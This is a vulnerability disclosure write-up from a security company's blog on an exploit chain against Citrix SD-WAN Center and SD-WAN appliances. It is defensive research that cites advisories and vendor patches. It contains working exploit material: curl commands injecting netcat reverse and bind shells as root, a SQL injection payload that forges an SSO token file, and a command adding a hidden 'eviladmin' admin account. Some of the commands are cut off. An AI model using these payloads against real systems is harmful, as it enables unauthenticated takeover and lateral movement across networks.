An Exploit Chain Against Citrix SD-WAN

Chris Lyne
Tenable TechBlog
Published in
7 min readJul 11, 2019


While inspecting the patch for TRA-2019–18, I discovered multiple critical vulnerabilities in both Citrix SD-WAN Center (SDWC) and the SD-WAN appliance itself (formerly known as NetScaler SD-WAN). Both software packages can be compromised by a remote, unauthenticated attacker.

This means the attacker could theoretically pivot from node to node to compromise an entire SD-WAN. The product line is designed to allow organizations to have software-defined WAN capabilities spanning across geographic regions. According to the Citrix customer stories page, there are many SD-WAN customers across the globe.

Keep the network topology pictured below in mind as we go. Each node is either an SDWC (e.g. headend, collector) or an SD-WAN appliance (e.g. MCN, RCN, branch appliance).

Source: Multi-region Network Deployment

Multiple Unauthenticated RCEs in SD-WAN Center

Citrix SD-WAN Center is a CakePHP web application designed to manage Citrix SD-WAN appliances. I wrote Intro to CakePHP for Bug Hunters, for those of you that want to brush up on tactics for examining applications like this.

For the most part, authentication is enforced within the application. However, there is a controller that essentially acts as a passthrough. CollectorController forwards requests to other controllers, effectively bypassing the authentication requirement of the target controller.

For example, normally, you can’t request the DiagnosticsController without an authenticated session. But CollectorController will happily forward a request straight to DiagnosticsController. Without this logic, all of my bugs would require authentication. Below are two screenshots of pre-authenticated requests. Notice the request to /Diagnostics results in an HTTP 302 response (to /login), but the request to /Collector results in a 200.

302 Response /Diagnostics
200 Response /Collector

Let’s take a closer look. In CollectorController, the beforeFilter method explicitly gives pre-authenticated access to many actions. In this case, we will focus on diagnostics.

public function beforeFilter()
// snip
// not shown: 19 other actions allowed
// allow unauth access to diagnostics action

The code snippet below shows how the diagnostics action method is defined. Notice how a new instance of DiagnosticsController is created to handle the request.

public function diagnostics($resource)
$this->autoRender = false; // avoid to render view
$diagController = new DiagnosticsController($this->request, $this->response);
return $diagController->$resource();

Basically what happens here is CollectorController first handles the incoming HTTP request, and the diagnostics action is invoked. Then the request is passed off to DiagnosticsController, which will generate the response.

CollectorController forwards traffic

As depicted above, in DiagnosticsController, there is a ping action. This action method contains an OS command injection vulnerability. All three HTTP GET parameters are interpolated, unsanitized, into a command line, which is executed by the PHP exec function. Thanks to CollectorController, this vulnerability can be exploited without authentication to gain root access.

Below is a curl command you could use to pop a reverse shell, connecting back to IP on TCP port 4444.

curl --insecure -d 'ipAddress=%60sudo+/bin/nc+-nv+'

To demonstrate proof of concept, here is a short video.

/Collector/diagnostics/ping Unauthenticated Command Injection

I mentioned that there are more RCE vulnerabilities. Take a look at our research advisory if you’re interested. Below is the topology diagram showing which SDWC nodes can be rooted so far.

SDWC nodes can be rooted

Chaining Two Vulnerabilities to Root the SD-WAN Appliance

In the case of the SD-WAN appliance, I didn’t find an unauthenticated RCE vulnerability. I did, however, discover a way to bypass authentication, and I also found yet another OS command injection. Used in combination, you get root without credentials. Unlike SD-WAN Center, these vulnerabilities are in Perl CGI scripts.

Vuln 1: A SQL Injection to Bypass File-based Authentication

Often times, you’ll read about people bypassing authentication using SQL injection because the “login” query wasn’t properly sanitized (e.g. “ ‘ or 1=1 — ”). The bypass I’m describing here is totally different.

In cgi-bin/sdwanrestapi/getpackagefile.cgi, a JSON is expected in the POST data, and the site_name record is used to construct multiple SQL queries. Below is the first vulnerable query.

if($package_type eq "active"){
$query = "SELECT observed_sw_revision, appliance_name,
expected_sw_revision, package_file_name from
Network_Appliance_Active " .
"WHERE site_name ='" . $site_name_arg . "' AND " .
"appliance_id=" . $appliance_id_arg.";";

Notice above how $site_name_arg is concatenated into the query. Its value came straight out of the JSON, as shown below.

my $q = CGI->new;
my $json_data = $q->param('POSTDATA');
// snip
$package_data = decode_json($json_data);
// snip
my $site_name_arg = $package_data->{'get_package_file'}->{'site_name'};

This is a classic SQL injection vulnerability. Unsanitized user input is concatenated into a SQL query. Boom! But what can be done with this vulnerability? I mentioned we could bypass authentication. If you’re paying attention, you probably notice that this query has nothing to do with authentication, so how can we bypass it? Let’s look at the auth scheme.

When a request is received, the check_session() function (defined in utils.cgi) is called to ensure there is an active authenticated session. One of the first checks is to see if the request is tied to a single sign-on session, by calling check_swc_sso().

// cgi-bin/utils.cgi
sub check_session()
// snip
if(check_swc_sso($q, $redirect_title) == 1)
return 1;
// snip

The check_swc_sso() function checks to see if a token file exists in the /tmp directory. It does this by first grabbing the token value from the swc-token GET parameter. Next, the script looks for a file named “token_$sso_token” in the /tmp directory, where $sso_token contains the token value. If it exists, the request is granted level 1 access (admin).

// cgi-bin/utils.cgi
sub check_swc_sso
my ($q, $redirect_title) = @_;
my $sso_token = initialize_if_blank(scalar($q->param('swc-token')));
if($sso_token ne "" && -e "/tmp/token_$sso_token" ) {
write_to_access_log("SSO token found\n");
my $level = "1";
// snip

With this in mind, let’s craft a SQL injection query to create a token file in the /tmp directory. Since the database is MySQL, we can write to a file using the “SELECT … INTO OUTFILE” syntax. The way I accomplished this was with a UNION. The injection looks like this:

blah' UNION SELECT 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_01234';#

By injecting this string into the JSON as the value of site_name, we can create a file named “token_01234” in the /tmp directory. This means the value “01234” is now a valid swc-token.

This is what the exploit looks like to generate the token file.

curl --insecure -H 'SSL_CLIENT_VERIFY: SUCCESS' -H 'Content-Type: application/json' -d '{"get_package_file": {"site_name": "blah'"' union select 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_01234';#\""',"appliance_type": "primary","package_type": "active"}}'

Vuln 2: Classic OS Command Injection

I found yet another OS command injection vulnerability. A GET parameter, installfile, is interpolated directly inside a call to the Perl system function.

// cgi-bin/installpatch.cgi
if (check_session($q))
// snip
my $fullname = $q->param('installfile');
// snip
system("sudo sh -c \"echo sudo -i /home/talariuser/bin/ --package=/home/talariuser/install/os_patch/$fullname | at now\"");

You probably notice that this vulnerability can only be triggered if the call to check_session succeeds. This means the attacker has to be authenticated to exploit it. Fortunately, we have an authentication bypass at our fingertips. Here is an exploit to start a bind shell on the appliance. Notice the token value is used in the value for swc-token.

curl --insecure '`/usr/bin/sudo%20/bin/nc%20-lp%204444%20-e%20/bin/bash`'

In the topology diagram below, I show the appliance nodes that can be rooted by exploiting these two vulnerabilities.

All appliances can be rooted

Here is a video to demonstrate the chained attack.

SQLi Auth Bypass and Command Injection Chained Together

Pivoting from SDWC to an Appliance

Given the multi-branch topology, it’s possibly the case that an attacker could only reach a single node. However, since we can root SDWC and the appliance, an attacker can pivot from one machine to the next. Below is a final video to show this.

SD-WAN Center is first exploited. Then the attacker pivots to an SD-WAN appliance.

Looking back at the network diagram, the video demonstrates an attacker pivoting from SDWC to an appliance. The green nodes in the diagram are relevant to this scenario. However, the pivot potential is endless here. The attacker could move from SDWC to SDWC, appliance to appliance, or SDWC to appliance (in either direction).

Pivot from SDWC to appliance

Before I close out, I want to mention one thing. The exploits I’ve shown in this write-up all deliver a payload to get the attacker a shell; however, a different payload could be delivered to create a new admin account for the web interface. The following command adds an admin user named “eviladmin”.

perl /home/talariuser/bin/ addUser eviladmin evilpassword 1

Here is a screenshot to show the result. This works on both SDWC and the appliance.

eviladmin user added

Closing Remarks

I’ve shown you 3 vulnerabilities and exploits to compromise an entire Citrix SD-WAN. With WAN technologies becoming increasingly defined by software, it is imperative that strides are taken to secure this software. WANs define infrastructure that is critical to business continuity, so the need for secure underlying code is vital to ensure the confidentiality, integrity, and availability of these networks.

We have posted research advisories for both products along with PoC’s. If you’re interested, take a look at TRA-2019–31, TRA-2019–32, and our PoC GitHub repository. Also, for a more business-focused impact, I encourage you to read the related post on the Tenable blog. Finally, Citrix has released a security bulletin and patches to address the reported vulnerabilities.



Chris Lyne
Tenable TechBlog

Chris is a security researcher. He is a former developer and aims to make the cyber world more secure.